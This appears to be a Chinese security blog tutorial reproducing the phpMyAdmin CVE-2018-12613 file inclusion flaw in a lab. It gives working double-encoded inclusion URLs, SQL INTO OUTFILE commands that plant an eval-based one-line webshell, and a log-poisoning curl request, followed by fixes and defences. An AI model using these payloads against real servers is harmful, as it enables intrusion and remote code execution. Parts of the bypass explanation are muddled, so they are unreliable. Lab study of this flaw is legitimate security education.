CVE-2018-12613漏洞复现:phpMyAdmin文件包含与二次编码绕过分析

发布时间:2026/6/24 6:45:28
CVE-2018-12613漏洞复现:phpMyAdmin文件包含与二次编码绕过分析 1. 项目概述与背景解析今天我们来聊聊一个在渗透测试和网络安全学习领域里绕不开的经典案例phpMyAdmin 4.8.1版本的文件包含漏洞也就是CVE-2018-12613。这个漏洞之所以经典是因为它完美地展示了在Web应用安全中一个看似不起眼的“二次编码”问题如何与程序逻辑缺陷结合最终演变成能够读取服务器敏感文件甚至执行任意代码的严重安全风险。对于刚入门安全研究的朋友来说复现这个漏洞是一个绝佳的练手机会它能让你直观理解文件包含漏洞的原理、利用链的构造以及白盒审计的初步思路。而对于有经验的安全从业者回顾这个漏洞也能提醒我们在代码审计和日常开发中对用户输入进行“彻底”而非“形式化”的过滤有多么重要。简单来说这个漏洞允许经过身份验证的攻击者通过精心构造的请求参数诱使phpMyAdmin后端包含并执行服务器上的任意文件。在默认配置下这通常意味着攻击者可以读取数据库配置文件、日志文件甚至在某些条件下实现“Getshell”获取Webshell。整个漏洞的核心在于index.php文件中对target参数的处理逻辑存在缺陷结合了PHP的编码特性使得安全校验被绕过。接下来我会带你从环境搭建开始一步步拆解漏洞原理手把手完成本地复现并深入探讨几种不同的利用场景和防御思路。无论你是想巩固文件包含漏洞的知识还是准备一次内部的安全培训演示这份指南都能提供足够详细的参考。2. 漏洞原理深度剖析要成功复现一个漏洞光知道步骤是不够的必须理解其背后的“为什么”。CVE-2018-12613的根源在于phpMyAdmin的index.php文件中对用于加载特定功能页面的target参数进行了不安全的处理。2.1 核心漏洞点定位漏洞的关键代码位于index.php在phpMyAdmin 4.8.0和4.8.1版本中。当用户访问phpMyAdmin时index.php会接收一个名为target的GET参数这个参数用于指定要加载的子页面例如db_structure.php、sql.php等。为了安全起见代码中会对target参数进行一系列检查主要包括检查参数值是否在白名单内$target_blacklist。检查参数值是否是一个“核心”文件。最关键的一步使用Core::checkPageValidity()函数来验证目标页面是否合法。问题就出在Core::checkPageValidity()函数内部。我们来看一下问题代码的简化逻辑// 简化后的 checkPageValidity 函数逻辑 public static function checkPageValidity($page, array $whitelist []) { if (empty($whitelist)) { $whitelist self::$goto_whitelist; // 这是一个允许访问的页面白名单 } // 关键步骤对 $page 进行 urldecode 解码 $_page urldecode($page); // 然后检查解码后的 $_page 是否在白名单中并且文件存在 if (in_array($_page, $whitelist) file_exists($_page)) { return true; } // 如果上述检查失败再检查原始 $page 是否在白名单中 if (in_array($page, $whitelist) file_exists($page)) { return true; } return false; }2.2 绕过机制详解二次编码的艺术漏洞利用的核心技巧叫做“二次URL编码绕过”。正常情况下如果我们想包含一个不在白名单里的文件比如/etc/passwd直接传递target/etc/passwd是会被过滤掉的因为/etc/passwd不在$goto_whitelist白名单里。但是利用PHP处理请求参数和urldecode函数的特性我们可以这样构造我们对想要包含的文件路径进行两次URL编码。例如斜杠/的URL编码是%2F。对%2F再进行一次编码得到%252F%字符本身编码为%25。所以../../../etc/passwd经过二次编码后可能变成..%252F..%252F..%252Fetc%252Fpasswd。当这个字符串作为target参数传递给phpMyAdmin时PHP在接收到GET请求时会自动进行一次URL解码将%25解码回%。于是target参数在进入checkPageValidity函数时值变成了..%2F..%2F..%2Fetc%2Fpasswd。接着checkPageValidity函数内部调用了urldecode($page)这进行了第二次解码将%2F解码回/。此时$_page变量的值就变成了纯正的../../../etc/passwd。函数首先检查$_page即../../../etc/passwd是否在白名单内。显然不在所以第一个if判断为假。然后函数检查原始的$page即..%2F..%2F..%2Fetc%2Fpasswd是否在白名单内。这个字符串看起来像是一堆编码也不在白名单里所以第二个if判断也为假。漏洞出现了虽然checkPageValidity函数返回了false表示检查未通过但是原始的、经过一次解码的$page参数..%2F..%2F..%2Fetc%2Fpasswd却被后续的代码直接用于文件包含操作后续的代码例如require或include并没有使用checkPageValidity验证通过后的$_page而是使用了那个“中间状态”的$page。当PHP执行include(‘..%2F..%2F..%2Fetc%2Fpasswd’)时它能够正确识别路径分隔符%2F从而成功穿越目录包含到/etc/passwd文件。注意这里有一个非常重要的细节。并非所有PHP环境都能在include/require中直接识别URL编码的路径。这个漏洞的成功利用还依赖于PHP的allow_url_include配置通常为Off以及PHP自身对路径中URL编码字符的处理方式。在复现时我们通常利用的是include一个已存在于Web目录内的、路径中包含编码字符的文件或者利用PHP的filter协议等。直接包含/etc/passwd在某些严格配置下可能失败但包含Web目录下的session文件或log文件则是更常见的利用链起点。2.3 漏洞利用条件总结要成功利用这个漏洞需要满足以下几个前提条件拥有有效的phpMyAdmin登录凭证因为漏洞触发点在index.php通常需要先登录才能访问。这意味着这是一个“授权后”漏洞。目标系统安装了存在漏洞的phpMyAdmin版本主要是4.8.0和4.8.1版本。服务器上存在可被包含的敏感文件例如phpMyAdmin的会话文件sess_*、PHP错误日志、或通过其他方式写入Web目录的特定内容文件。这是将文件包含转化为代码执行的关键。3. 本地复现环境搭建理解了原理我们动手搭建一个安全的本地测试环境。强烈建议所有操作都在虚拟机如VMware、VirtualBox或隔离的Docker环境中进行切勿在生产环境或任何对外服务的机器上尝试。3.1 使用Vulhub快速搭建最快捷的方式是使用Vulhub这个漏洞环境集合。确保你的机器上已经安装了Docker和Docker Compose。下载Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub/phpmyadmin/CVE-2018-12613启动漏洞环境docker-compose up -d这条命令会自动拉取镜像并启动一个包含phpMyAdmin 4.8.1的容器。通常服务会运行在http://your-ip:8080。访问并登录 打开浏览器访问http://127.0.0.1:8080。使用默认账号root和密码root进行登录。如果登录失败可以查看Vulhub目录下的README或通过docker-compose logs查看具体日志。3.2 手动搭建测试环境可选如果你想更深入地了解环境构成可以手动搭建。安装PHP5.47.3因为phpMyAdmin 4.8.1对PHP7.3支持可能有问题、MySQL和Web服务器Apache/Nginx。从phpMyAdmin官网下载4.8.1版本历史版本通常可在GitHub release中找到。解压到Web目录如/var/www/html/phpmyadmin。配置config.inc.php文件设置MySQL连接信息。确保PHP配置中session.save_path指向的目录Web服务器有读取权限这通常是我们寻找会话文件的地方。4. 漏洞复现实操步骤环境就绪后我们开始一步步攻击。我们的目标是通过文件包含漏洞先读取服务器上的一个敏感文件证明漏洞存在再尝试将其升级为代码执行。4.1 步骤一验证漏洞存在读取Session文件这是最直接的一步用于证明文件包含功能确实生效。登录phpMyAdmin用root/root登录。获取你的PHP Session ID打开浏览器的开发者工具F12切换到“网络(Network)”选项卡。刷新页面或进行任意操作找到一个对index.php的请求。查看该请求的Cookie头你会找到一个名为phpMyAdmin的Cookie其值是一长串字符串这就是你的会话IDSession ID。假设它为sess_abc123def456。在PHP中会话文件通常以sess_前缀加上Session ID命名存储在session.save_path指定的目录下。默认可能是/tmp或/var/lib/php/sessions。在Docker环境中我们通常可以猜测其在/tmp目录下。构造漏洞利用URL 我们需要让target参数指向我们的会话文件。会话文件路径可能是/tmp/sess_abc123def456。对其进行二次URL编码原始路径/tmp/sess_abc123def456一次编码由我们手动完成或使用Burp Suite的Decoder模块%2Ftmp%2Fsess_abc123def456二次编码对%进行编码%252Ftmp%252Fsess_abc123def456发起攻击请求 在已登录的状态下在浏览器地址栏或使用Burp Suite的Repeater模块访问以下URLhttp://127.0.0.1:8080/index.php?targetdb_datadict.php%253F/../../../../../../../../tmp/sess_abc123def456参数构造解释target后面跟的是我们精心构造的值。db_datadict.php%253F这里用了一个小技巧。db_datadict.php是白名单内的文件。我们加上%253F即?的二次编码目的是让checkPageValidity函数检查时$_page解码后变成db_datadict.php?/../../../../..。由于?在URL中表示查询字符串开始在文件系统里会被忽略所以file_exists(‘db_datadict.php?/../../../../..’)可能会返回false因为不存在这样的文件这有助于让第一个检查失败。但更重要的是后续包含操作时?后面的路径会被当作db_datadict.php的参数而PHP的include在遇到?时会将其后的内容视为查询字符串而忽略从而实际包含的是?前面的db_datadict.php吗不在这个漏洞的利用链中更常见的做法是直接使用index.php?targetxxx而xxx是二次编码的路径。上面这个带?的构造是一种变体旨在干扰白名单检查。更稳定简单的构造是直接使用target..%252F..%252F..%252Ftmp%252Fsess_xxx但需要确保原始$page一次解码后不在白名单。实际上因为..%2F不在白名单所以检查会失败但包含会成功。为了最大化成功率攻击者可能会尝试在路径前拼接一个白名单文件如db_datadict.php%253F/../../../../tmp/sess_xxx。为了更清晰我们使用一种被广泛验证有效的Payload格式http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../tmp/sess_abc123def456访问这个链接。查看结果 如果漏洞存在且会话文件可读你将在页面中看到你的会话文件内容其中包含user_id|s:...之类的序列化数据证明了任意文件读取成功。实操心得在实际测试中直接包含/tmp/sess_xxx可能因为路径或权限问题失败。可以尝试包含PHP的日志文件如/var/log/apache2/error.log或者先通过phpMyAdmin的SQL执行功能向一个Web可访问目录如/var/www/html写入一个内容已知的文本文件然后去包含它这样更容易验证。4.2 步骤二尝试写入WebShell并包含Getshell单纯的读取文件危害有限我们的终极目标通常是执行任意代码。这就需要利用“文件包含文件写入”的组合拳。由于我们已登录phpMyAdmin拥有执行SQL的权限因此可以通过SQL查询将PHP代码写入一个服务器上的文件中然后再用文件包含漏洞去包含这个文件从而执行代码。通过SQL查询写入文件 在phpMyAdmin的SQL执行界面输入以下命令需要MySQL的FILE权限root用户通常拥有SELECT ?php phpinfo(); ? INTO OUTFILE /var/www/html/phpmyadmin/test_shell.php执行这条语句。如果成功它会在phpMyAdmin的安装目录下创建一个名为test_shell.php的文件内容为?php phpinfo(); ?。重要提示INTO OUTFILE的路径必须是MySQL服务进程有写权限的目录。目标目录的路径需要根据你的实际环境调整。在Docker的Vulhub环境中Web根目录可能就是/var/www/html。如果遇到#1290 - The MySQL server is running with the --secure-file-priv option错误说明MySQL限制了文件导出目录。你可以通过SQL命令SHOW VARIABLES LIKE ‘secure_file_priv’;查看允许的目录然后将文件写入该目录下。确认文件已写入 我们可以先用文件包含漏洞尝试读取这个文件来确认它是否存在且内容正确。构造URLhttp://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../var/www/html/phpmyadmin/test_shell.php如果页面显示了?php phpinfo(); ?这段文本说明文件写入成功但未被解析。这是因为我们只是“读取”了文件内容而文件包含漏洞在包含.php文件时如果路径被正确解析其中的PHP代码是会被执行的。这里显示文本可能因为包含的路径没有最终指向一个有效的.php文件或者?干扰了解析。我们需要一个更干净的包含方式。构造直接包含PHP文件的Payload 为了避免白名单检查我们依然需要二次编码。但这次我们尝试包含我们刚写入的.php文件。由于.php文件不在白名单我们需要确保绕过检查。使用之前的技巧在白名单文件后加?http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../var/www/html/phpmyadmin/test_shell.php访问这个URL。如果成功你将看到的不是PHP代码文本而是phpinfo()函数的输出页面这标志着任意代码执行成功。升级为功能完整的WebShell 将test_shell.php的内容替换为更强大的WebShell代码例如一句话木马SELECT ?php eval($_POST[“cmd”]); ? INTO OUTFILE /var/www/html/phpmyadmin/shell.php然后你就可以使用中国菜刀、蚁剑等工具连接这个WebShell获得服务器的一个交互式命令行访问权限。注意事项通过INTO OUTFILE写入WebShell是经典手法但现代安全防护软件WAF、HIDS可能会检测这种敏感操作。在实际渗透测试中需要根据目标环境灵活变通例如写入到日志文件、图片文件或者利用SELECT … INTO DUMPFILE写入二进制文件等。5. 漏洞利用的扩展场景与高级技巧基础的读取和执行会了我们来看看这个漏洞在实战中还有哪些“花样”。5.1 利用PHP Filter协议读取源码如果目标服务器开启了allow_url_include默认关闭我们可以利用PHP内置的php://filter协议来读取包含PHP源码的文件而不是执行它。这对于代码审计非常有用。http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../etc/passwdreadphp://filter/convert.base64-encode/resourceindex.php这个Payload试图将index.php的内容经过base64编码后读取。但请注意target参数本身是文件包含的路径而php://filter是作为“读取内容”的包装器。更常见的利用方式是如果包含点允许直接传入协议可以尝试index.php?targetphp://filter/convert.base64-encode/resourceindex.php但在这个漏洞中target参数最终会拼接成一个文件路径直接使用php://协议可能无法通过file_exists检查。因此更可行的方案是先包含一个已存在的文件如会话文件然后在该文件中注入php://filter的Payload这需要结合其他漏洞如会话伪造、日志注入难度较高。对于CVE-2018-12613利用filter协议进行源码读取并非其主要利用方式但作为知识扩展值得了解。5.2 结合日志文件包含GetShell如果无法通过SQL写入文件另一个经典的思路是包含服务器的访问日志或错误日志。找到日志路径通常可能是/var/log/apache2/access.log、/var/log/nginx/access.log或/var/log/httpd/access_log。污染日志通过发送特殊的HTTP请求将PHP代码写入访问日志。例如在User-Agent或请求URL中插入?php phpinfo();?。curl -A “?php phpinfo();?” http://target-phpmyadmin/包含日志文件使用漏洞去包含这个已经被污染的日志文件。http://127.0.0.1:8080/index.php?targetdb_sql.php%253f/../../../../../../../../var/log/apache2/access.log如果日志文件可读且包含的PHP代码没有被转义它就会被执行。实操心得日志文件通常很大包含执行可能会超时或导致错误。可以先尝试包含错误日志error.log因为它通常更小并且可以通过触发PHP错误的方式将代码写入。此外确保Web进程对日志文件有读取权限。5.3 利用临时文件或进程信息在Linux系统中/proc/self/environ文件包含了当前进程的环境变量。如果PHP以CGI模式运行攻击者有可能控制环境变量例如通过HTTP头从而将代码注入该文件再通过漏洞包含它。但这需要非常特定的配置条件。/proc/self/fd/目录下包含了进程打开的文件描述符有时也可能包含有用的信息。这些都是一些在特定条件下的利用思路。6. 漏洞修复与防御建议作为防守方了解如何修复和防御此类漏洞至关重要。6.1 官方修复方案phpMyAdmin官方在后续版本中修复了此漏洞。修复的核心是修改了libraries/classes/Core.php文件中的checkPageValidity函数。主要改动包括移除危险的urldecode调用不再对输入参数进行urldecode解码避免了二次解码导致的绕过。加强白名单校验在解码和检查之前对输入进行更严格的过滤和规范化。引入basename检查确保目标参数不包含目录遍历字符..。根本的修复代码片段摘自更新后的版本// 修复后在检查之前先对参数进行规范化并严格检查 if (! empty($page) is_string($page)) { // 移除查询字符串部分 $question_mark_pos strpos($page, ‘?’); if ($question_mark_pos ! false) { $page substr($page, 0, $question_mark_pos); } // 使用 basename 防止目录遍历 $page basename($page); // 直接检查规范化后的页面是否在白名单中 if (in_array($page, $whitelist) file_exists($page)) { return true; } } return false;修复建议立即升级将phpMyAdmin升级到最新稳定版或至少升级到已修复该漏洞的版本如4.8.2及以上。最小权限原则运行phpMyAdmin的数据库用户不应拥有FILE权限或其他不必要的权限。隔离部署不要将phpMyAdmin部署在默认的Web根目录下或使用复杂的目录名增加攻击者猜测路径的难度。6.2 服务器层面防御配置open_basedir在PHP配置中设置open_basedir将PHP脚本可访问的文件限制在指定目录树内可以有效防止目录遍历攻击。关闭危险函数在php.ini中将allow_url_fopen和allow_url_include设置为Off禁用远程文件包含。设置session.save_path将会话文件存储在Web根目录之外并确保权限严格仅Web用户可读。配置Web服务器权限确保Web服务器进程以低权限用户运行并且对系统关键目录如/etc/root没有读取权限。使用WAF部署Web应用防火墙可以拦截包含../、..%2F、%252F等特征的恶意请求。6.3 安全开发启示从开发角度这个漏洞给了我们深刻的教训永远不要信任用户输入对$_GET$_POST$_COOKIE等所有外部输入都要进行严格的验证和过滤。避免动态包含尽量避免使用用户输入直接作为文件路径进行包含操作。如果必须这样做请使用严格的白名单机制。规范化后再验证在对输入进行安全检查之前应先对其进行规范化如解码然后基于规范化后的结果进行验证。顺序错误就会导致绕过。使用安全的函数例如使用basename()来获取路径中的文件名部分可以自动剥离目录遍历序列。7. 常见问题与排查技巧实录在复现过程中你可能会遇到各种问题。这里记录了一些常见坑点及解决方法。问题现象可能原因排查与解决思路访问包含Payload的URL返回空白页或错误页1. 会话失效或未登录。2. 包含的文件不存在或路径错误。3. 包含的文件内容导致PHP解析错误。4. 目标环境不存在该漏洞或配置不同。1. 重新登录phpMyAdmin确保Cookie有效。2. 确认文件路径是否正确。在Docker中尝试docker-compose exec进入容器查看文件。使用绝对路径。尝试包含一个已知存在的简单文本文件如/etc/hosts。3. 尝试包含一个纯文本文件而非PHP文件看是否能正常显示内容。4. 确认phpMyAdmin版本是否为4.8.0或4.8.1。检查PHP错误日志。包含Session文件时显示“No data received”或下载会话文件为空或PHP配置问题。Session可能还未生成或已销毁。在phpMyAdmin中多进行几次操作如点击不同数据库再尝试。检查session.save_path是否正确。INTO OUTFILE执行失败报错#1290MySQL的secure_file_priv系统变量限制了导出目录。执行SHOW VARIABLES LIKE ‘secure_file_priv’;查看允许的目录。将WebShell写入该目录下然后调整包含路径。在测试环境中可以临时修改MySQL配置my.cnf将secure_file_priv设为空值并重启但生产环境切勿这样做。包含写入的PHP文件时显示代码文本而非执行结果1. 包含的路径未能被正确识别为PHP文件。2. 文件后缀不是.php。3.?字符干扰了PHP解析。1. 确保文件路径以.php结尾且位于Web服务器配置的解析PHP的目录下。2. 尝试不使用?干扰的Payload直接包含二次编码后的绝对路径如果白名单检查能绕过。例如target..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fshell.php。但这需要原始路径一次解码后不在白名单且能通过file_exists检查可能失败。3.最可靠的方法写入文件时确保其位于一个已配置的Web目录下并且通过漏洞包含时最终被解析的路径确实指向这个.php文件。使用db_sql.php%253f/前缀是经过验证的有效方法。使用Burp Suite抓包修改请求后无效浏览器缓存、Cookie问题或Burp Suite拦截设置问题。在Burp Suite的Repeater中确保从Proxy history正确发送了包含Cookie的原始请求。关闭浏览器缓存。尝试使用不同的浏览器或隐身模式。独家避坑技巧路径问题在Docker容器内路径可能与宿主机不同。使用docker-compose exec [service_name] bash进入容器用find / -name “phpmyadmin” 2/dev/null或pwd命令定位真实路径。编码问题手动构造二次编码容易出错。善用Burp Suite的Decoder模块先输入原始路径如../../../tmp/sess_xxx选择Encode as URL一次得到..%2F..%2F..%2Ftmp%2Fsess_xxx再对这个结果进行一次URL编码得到..%252F..%252F..%252Ftmp%252Fsess_xxx。利用链验证不要一上来就想着Getshell。先从一个简单的目标开始比如读取/etc/passwd或/etc/hosts证明文件包含漏洞确实存在。然后再尝试包含Session文件。最后再尝试写入和执行。分步验证可以帮你快速定位问题所在阶段。关注错误信息开启PHP的display_errors在测试环境可以让你看到详细的错误信息这对于调试Payload非常有帮助。在生产环境复现授权测试时可以通过日志文件来查看错误。这个漏洞的复现过程就像一次完整的手工渗透测试演练。从信息收集版本识别、漏洞验证文件读取、到权限提升写入WebShell每一步都考验着对系统、网络和应用逻辑的理解。希望这份超详细的指南能帮你不仅成功复现了CVE-2018-12613更关键的是理解了每一行Payload背后的原理和每一次失败背后的原因。在安全研究的路上这种深度思考的习惯远比单纯执行一个脚本更有价值。